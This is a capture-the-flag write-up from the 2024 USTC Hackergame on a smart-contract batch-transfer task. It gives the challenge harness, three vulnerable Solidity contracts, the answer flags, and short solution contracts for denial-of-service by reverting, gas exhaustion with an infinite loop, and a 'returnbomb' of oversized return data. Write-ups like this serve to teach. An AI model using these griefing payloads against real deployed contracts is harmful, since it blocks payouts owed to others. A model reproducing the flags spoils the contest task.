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2024 | 中国科学技术大学第十一届信息安全大赛 | General

链上转账助手

#smart contract #gas griefing #returnbomb attack

题目

main.py 
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from web3 import Web3
from web3.middleware import geth_poa_middleware
import os
import json
import time

challenge_id = int(input('The challenge you want to play (1 or 2 or 3): '))
assert challenge_id == 1 or challenge_id == 2 or challenge_id == 3

player_bytecode = bytes.fromhex(input('Player bytecode: '))

print('Launching anvil...')
os.system('anvil --silent --disable-console-log --ipc /dev/shm/eth.ipc &')
time.sleep(2)
w3 = Web3(Web3.IPCProvider('/dev/shm/eth.ipc'))
w3.middleware_onion.inject(geth_poa_middleware, layer=0)
privatekey = '0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80' # anvil default private key
acct = w3.eth.account.from_key(privatekey)

print('Deploying challenge contract...')
bytecode, abi = json.load(open(f'contract{challenge_id}.json'))
Challenge = w3.eth.contract(abi=abi, bytecode=bytecode)
nonce = w3.eth.get_transaction_count(acct.address)
tx = Challenge.constructor().build_transaction({'nonce': nonce, 'from': acct.address})
signed_tx = w3.eth.account.sign_transaction(tx, private_key=privatekey)
tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
assert tx_receipt.status
print('Challenge contract address:', tx_receipt.contractAddress)
challenge = w3.eth.contract(address=tx_receipt.contractAddress, abi=abi)

print('Deploying player contract...')
recipients = []
for i in range(10):
    nonce = w3.eth.get_transaction_count(acct.address)
    tx = {'to': None, 'data': player_bytecode, 'nonce': nonce, 'from': acct.address, 'gasPrice': w3.eth.gas_price, 'gas': 1000000}
    signed_tx = w3.eth.account.sign_transaction(tx, private_key=privatekey)
    tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
    if not tx_receipt.status:
        print('Failed deploying player contract')
        exit(-1)
    recipients.append(tx_receipt.contractAddress)

amounts = [w3.to_wei(1, 'ether')] * 10
nonce = w3.eth.get_transaction_count(acct.address)
tx = challenge.functions.batchTransfer(recipients, amounts).build_transaction({'nonce': nonce, 'from': acct.address, 'value': sum(amounts), 'gas': 1000000})
signed_tx = w3.eth.account.sign_transaction(tx, private_key=privatekey)
tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
if tx_receipt.status:
    print('Transfer success, no flag.')
    exit(-1)

print(open(f'flag{challenge_id}').read())
challenge1.sol 
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract BatchTransfer {
    function batchTransfer(address payable[] calldata recipients, uint256[] calldata amounts) external payable {
        require(recipients.length == amounts.length, "Recipients and amounts length mismatch");

        uint256 totalAmount = 0;
        uint256 i;

        for (i = 0; i < amounts.length; i++) {
            totalAmount += amounts[i];
        }

        require(totalAmount == msg.value, "Incorrect total amount");

        for (i = 0; i < recipients.length; i++) {
            recipients[i].transfer(amounts[i]);
        }
    }
}
challenge2.sol 
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract BatchTransfer {
    mapping(address => uint256) public pendingWithdrawals;

    function batchTransfer(address payable[] calldata recipients, uint256[] calldata amounts) external payable {
        require(recipients.length == amounts.length, "Recipients and amounts length mismatch");

        uint256 totalAmount = 0;
        uint256 i;

        for (i = 0; i < amounts.length; i++) {
            totalAmount += amounts[i];
        }

        require(totalAmount == msg.value, "Incorrect total amount");

        for (i = 0; i < recipients.length; i++) {
            (bool success, ) = recipients[i].call{value: amounts[i]}("");
            if (!success) {
                pendingWithdrawals[recipients[i]] += amounts[i];
            }
        }
    }

    function withdrawPending() external {
        uint256 amount = pendingWithdrawals[msg.sender];
        pendingWithdrawals[msg.sender] = 0;
        (bool success, ) = payable(msg.sender).call{value: amount}("");
        require(success, "Withdrawal failed");
    }
}
challenge3.sol 
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract BatchTransfer {
    mapping(address => uint256) public pendingWithdrawals;

    function batchTransfer(address payable[] calldata recipients, uint256[] calldata amounts) external payable {
        require(recipients.length == amounts.length, "Recipients and amounts length mismatch");

        uint256 totalAmount = 0;
        uint256 i;

        for (i = 0; i < amounts.length; i++) {
            totalAmount += amounts[i];
        }

        require(totalAmount == msg.value, "Incorrect total amount");

        for (i = 0; i < recipients.length; i++) {
            (bool success, ) = recipients[i].call{value: amounts[i], gas: 10000}("");
            if (!success) {
                pendingWithdrawals[recipients[i]] += amounts[i];
            }
        }
    }

    function withdrawPending() external {
        uint256 amount = pendingWithdrawals[msg.sender];
        pendingWithdrawals[msg.sender] = 0;
        (bool success, ) = payable(msg.sender).call{value: amount}("");
        require(success, "Withdrawal failed");
    }
}

解题思路

  • 每题会根据玩家提供的字节码部署十个合约并作为 BatchTransfer::batchTransfer() 的接收者，随后执行转账交易
  • 若调用 batchTransfer() 函数的交易执行失败即可获得 Flag

Challenge 1

  • 本题使用 transfer 进行转账，转账失败会报错导致交易回滚
  • 一个没有 receive() 或 fallback() 函数的合约即可 :3
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contract Empty {}

Flag

flag{Tr4nsf3r_T0_c0nTracT_MaY_R3v3rt}

Challenge 2

  • 本题将 transfer() 改为 call()，如果转账失败则将金额记录到 pendingWithdrawals 映射中
  • 根据 Challenge 3 的修改容易想到可以通过死循环耗尽交易的 gas
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contract Loop {
    receive() external payable {
        while (true) {}
    }
}

Flag

flag{Ple4se_L1m1t_y0uR_GAS_HaHa}

Challenge 3

  • 本题限制了每次 call() 的 gas 消耗为 1 万，而 batchTransfer() 交易的 gas limit 为 100 万
  • 需要让内部交易尽可能地影响主交易，一个方式是返回大量字节

  • Solidity 的低级调用会将返回的所有数据拷贝到内存中，而内存扩容（以字为单位）会增加 gas 消耗

    mem_size_words = (mem_size + 31) // 32
gas_cost = (mem_size_words ^ 2 // 512) + (3 * mem_size_words) - Cmen(old_state)

  • 使用 revert 返回数据能够通过读写状态变量消耗更多的 gas，不过本题 return 就足够了

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contract HugeReturn {
    receive() external payable {
        assembly {
            revert(0, 55000)
        }
    }
}

Flag

flag{Y0u_4re_Th3_M4sTeR_0f_EVM!!!}

参考资料

最后更新: 2024年11月10日 20:26:25
Contributors: YanhuiJessica

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